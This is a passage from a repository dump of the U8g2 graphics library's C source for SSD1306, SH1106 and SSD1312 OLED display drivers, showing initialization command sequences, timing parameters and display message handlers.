u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\t/*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1306_128x32_univision_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 32\n};\n\nuint8_t u8x8_d_ssd1306_128x32_univision(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x32_univision_display_info);\n      return 1;\n    }\n    return u8x8_d_ssd1306_128x32_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n/*=============================================*/\n/* issue 756 */\n\n#define\t    ADDR_MODE\t0 //0:horizontal, 1:vertical, 2:page\n\n\nstatic const u8x8_display_info_t u8x8_ssd1306_128x32_winstar_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 125,\n  /* flipmode_x_offset = */ 125,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 32\n};\n\nuint8_t u8x8_d_ssd1306_128x32_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x32_winstar_display_info);\n      return 1;\n    }\n    return u8x8_d_ssd1306_128x32_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n/*=============================================*/\n/* visionox 132x32 OLED, https://github.com/olikraus/u8g2/issues/1250 */\n\n\nstatic const uint8_t u8x8_d_sh1106_128x32_visionox_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0xAE),\n  U8X8_CA(0xD5, 0x91),\n  U8X8_CA(0xA8, 0x1F),\n  U8X8_CA(0xD3, 0x10),\n  U8X8_C(0x40),\n  U8X8_CA(0xAD, 0x8B),\n  U8X8_C(0x33),\n  U8X8_C(0xA1),\n  U8X8_C(0xC8),\n  U8X8_CA(0xDA, 0x12),\n  U8X8_CA(0x81, 0xAF),\n  U8X8_CA(0xD9, 0x1F),\n  U8X8_CA(0xDB, 0x25),\n  U8X8_C(0xA4),\n  U8X8_C(0xA6),\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_d_sh1106_128x32_visionox_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 2,\n  /* flipmode_x_offset = */ 2,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 32\n};\n\n\nuint8_t u8x8_d_sh1106_128x32_visionox(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_sh1106_128x32_visionox_display_info);\n      return 1;\n    }\n\n    if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_128x32_visionox_init_seq);    \n    }\n    \n    return u8x8_d_ssd1306_128x32_generic(u8x8, msg, arg_int, arg_ptr);\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_128x64_noname.c",
    "content": "/*\n\n  u8x8_d_ssd1306_128x64_noname.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n/* more or less generic setup of all these small OLEDs */\nstatic const uint8_t u8x8_d_ssd1306_128x64_noname_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, SSD1306 only, should be removed for SH1106 */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x0cf), \t\t/* [2] set contrast control */\n  U8X8_CA(0x0d9, 0x0f1), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x040), \t\t/* vcomh deselect level */  \n  // if vcomh is 0, then this will give the biggest range for contrast control issue #98\n  // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* this setup maximizes the brightness range, that can be set with setContrast() */\n/* Drawback: VCOMH deselect level is set to 0, which das not work so good with all OLEDs, issue #116 */\nstatic const uint8_t u8x8_d_ssd1306_128x64_vcomh0_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n  U8X8_CA(0x081, 0x0ef),\t\t/* [2] set contrast control,  */\n  U8X8_CA(0x0d9, 0x0a1),\t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x000),\t\t/* vcomh deselect level 0x000 .. 0x070, low nibble always 0 */\n  // if vcomh is 0, then this will give the biggest range for contrast control issue #98\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/* same as u8x8_d_ssd1306_128x64_noname_init_seq, but 0x0da bit 4 is set to 0 */\n/* this will disable the alternative COM configuration */\nstatic const uint8_t u8x8_d_ssd1306_128x64_alt0_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, SSD1306 only, should be removed for SH1106 */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x002),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x0cf), \t\t/* [2] set contrast control */\n  U8X8_CA(0x0d9, 0x0f1), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x040), \t\t/* vcomh deselect level */  \n  // if vcomh is 0, then this will give the biggest range for contrast control issue #98\n  // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n/* issue 316: a special sh1106 setup, https://www.mikrocontroller.net/topic/431371?goto=5087807#5087807 */\nstatic const uint8_t u8x8_d_sh1106_128x64_winstar_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0xae),                 // Display OFF/ON: off (POR = 0xae)\n  U8X8_C(0xa4),                 // Set Entire Display OFF/ON: off (POR = 0xa4)\n  U8X8_CA(0xd5, 0x50),       // Divide Ratio/Oscillator FrequencyData Set: divide ratio = 1 (POR = 1), Oscillator Frequency = +/- 0% (POR = +/- 0%)\n  U8X8_CA(0xa8, 0x3f),       // Multiplex Ratio Data Set: 64 (POR = 0x3f, 64)\n  U8X8_CA(0xd3, 0x00),       // Display OffsetData Set: 0 (POR = 0x00)\n  U8X8_C(0x40),                 // Set Display Start Line: 0  \n  U8X8_CA(0xad, 0x8b),       // DC-DC ON/OFF Mode Set: Built-in DC-DC is used, Normal Display (POR = 0x8b)\n  U8X8_CA(0xd9, 0x22),       // Dis-charge/Pre-charge PeriodData Set: pre-charge 2 DCLKs, dis-charge 2 DCLKs (POR = 0x22, pre-charge 2 DCLKs, dis-charge 2 DCLKs)\n  U8X8_CA(0xdb, 0x35),       // VCOM Deselect LevelData Set: 0,770V (POR = 0x35, 0,770 V)\n  U8X8_C(0x32), // Set Pump voltage value: 8,0 V (POR = 0x32, 8,0 V)\n  U8X8_CA(0x81, 0xff),       // Contrast Data Register Set: 255 (large) (POR = 0x80)\n  U8X8_C(0x0a6),\t\t\t// Set Normal/Reverse Display: normal (POR = 0xa6)\n  U8X8_CA(0x0da, 0x012),\t\t// com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) \n      \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1312_128x64_noname_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, SSD1306 only, should be removed for SH1106 */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x0cf), \t\t/* [2] set contrast control */\n  U8X8_CA(0x0d9, 0x0f1), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x040), \t\t/* vcomh deselect level */  \n  // if vcomh is 0, then this will give the biggest range for contrast control issue #98\n  // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_ssd1306_128x64_noname_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_128x64_noname_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_128x64_noname_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_128x64_noname_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1312_128x64_noname_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1312_128x64_noname_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic uint8_t u8x8_d_ssd1306_sh1106_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n    \n      u8x8_cad_SendCmd(u8x8, 0x040 );\t/* set line offset to 0 */\n    \n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendArg(u8x8, 0x000 | ((x&15)));\t\t\t\t\t/* probably wrong, should be SendCmd */\n      u8x8_cad_SendArg(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\t/* probably wrong, should be SendCmd */\n\n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\t/*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1306_128x64_noname_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_ssd1306_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nuint8_t u8x8_d_ssd1312_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1312_128x64_noname_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1312_128x64_noname_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1312_128x64_noname_init_seq);    /* update 27 mar 2022 */\n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info);\n      break;\n    default:\n      if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n        return 1;\n  }\n  return 1;\n}\n\n\n\nuint8_t u8x8_d_ssd1306_128x64_vcomh0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_vcomh0_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nuint8_t u8x8_d_ssd1306_128x64_alt0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  \n  if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_alt0_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_sh1106_128x64_noname_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 